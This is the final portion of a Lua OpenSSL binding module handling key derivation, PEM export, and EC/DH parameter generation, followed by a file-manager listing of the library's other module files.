  local buflen = ptr_of_size_t()
  code = C.EVP_PKEY_derive(pctx, nil, buflen)
  if code <= 0 then
    return nil, format_error("pkey:derive: EVP_PKEY_derive check buffer size", code)
  end

  local buf = ctypes.uchar_array(buflen[0])
  code = C.EVP_PKEY_derive(pctx, buf, buflen)
  if code <= 0 then
    return nil, format_error("pkey:derive: EVP_PKEY_derive", code)
  end

  return ffi_str(buf, buflen[0])
end

local function pub_or_priv_is_pri(pub_or_priv)
  if pub_or_priv == 'private' or pub_or_priv == 'PrivateKey' then
    return true
  elseif not pub_or_priv or pub_or_priv == 'public' or pub_or_priv == 'PublicKey' then
    return false
  else
    return nil, string.format("can only export private or public key, not %s", pub_or_priv)
  end
end

function _M:tostring(pub_or_priv, fmt, pkcs1)
  local is_priv, err = pub_or_priv_is_pri(pub_or_priv)
  if err then
    return nil, "pkey:tostring: " .. err
  end
  return __tostring(self, is_priv, fmt, pkcs1)
end

function _M:to_PEM(pub_or_priv, pkcs1)
  return self:tostring(pub_or_priv, "PEM", pkcs1)
end

function _M.paramgen(config)
  local typ = config.type
  local key_type, write_func, get_ctx_func
  if typ == "EC" then
    key_type = evp_macro.EVP_PKEY_EC
    if key_type == 0 then
      return nil, "pkey.paramgen: the linked OpenSSL library doesn't support EC key"
    end
    write_func = C.PEM_write_bio_ECPKParameters
    get_ctx_func = function(ctx)
      local ctx = get_pkey_key[key_type](ctx)
      if ctx == nil then
        error(format_error("pkey.paramgen: EVP_PKEY_get0_{key}"))
      end
      return C.EC_KEY_get0_group(ctx)
    end
  elseif typ == "DH" then
    key_type = evp_macro.EVP_PKEY_DH
    if key_type == 0 then
      return nil, "pkey.paramgen: the linked OpenSSL library doesn't support DH key"
    end
    write_func = C.PEM_write_bio_DHparams
    get_ctx_func = get_pkey_key[key_type]
  else
    return nil, "pkey.paramgen: unsupported type " .. type
  end

  local params, err = generate_param(key_type, config)
  if err then
    return nil, "pkey.paramgen: generate_param: " .. err
  end

  local ctx = get_ctx_func(params)
  if ctx == nil then
    return nil, format_error("pkey.paramgen: EVP_PKEY_get0_{key}")
  end

  -- since ctx is always a internal pointer inside of params (a EVP_PKEY*), thus avoid use tail call
  -- here to avoid using `ctx` after `params` is GC collected.
  local res, err = bio_util.read_wrap(write_func, ctx)
  return res, err
end

return _M

Filemanager

Name Type Size Permission Actions
auxiliary Folder 0755
include Folder 0755
x509 Folder 0755
asn1.lua File 2.53 KB 0644
bn.lua File 9.36 KB 0644
cipher.lua File 8.79 KB 0644
crypto.lua File 489 B 0644
ctx.lua File 1.59 KB 0644
dh.lua File 2.59 KB 0644
digest.lua File 2.67 KB 0644
ec.lua File 5.04 KB 0644
ecx.lua File 2.02 KB 0644
err.lua File 2.94 KB 0644
hmac.lua File 1.95 KB 0644
kdf.lua File 11.26 KB 0644
mac.lua File 2.71 KB 0644
objects.lua File 1.69 KB 0644
param.lua File 10.92 KB 0644
pkcs12.lua File 4.72 KB 0644
pkey.lua File 31.17 KB 0644
provider.lua File 3.44 KB 0644
rand.lua File 1.33 KB 0644
rsa.lua File 3.43 KB 0644
ssl.lua File 8.56 KB 0644
ssl_ctx.lua File 2.11 KB 0644
stack.lua File 3.69 KB 0644
version.lua File 2.86 KB 0644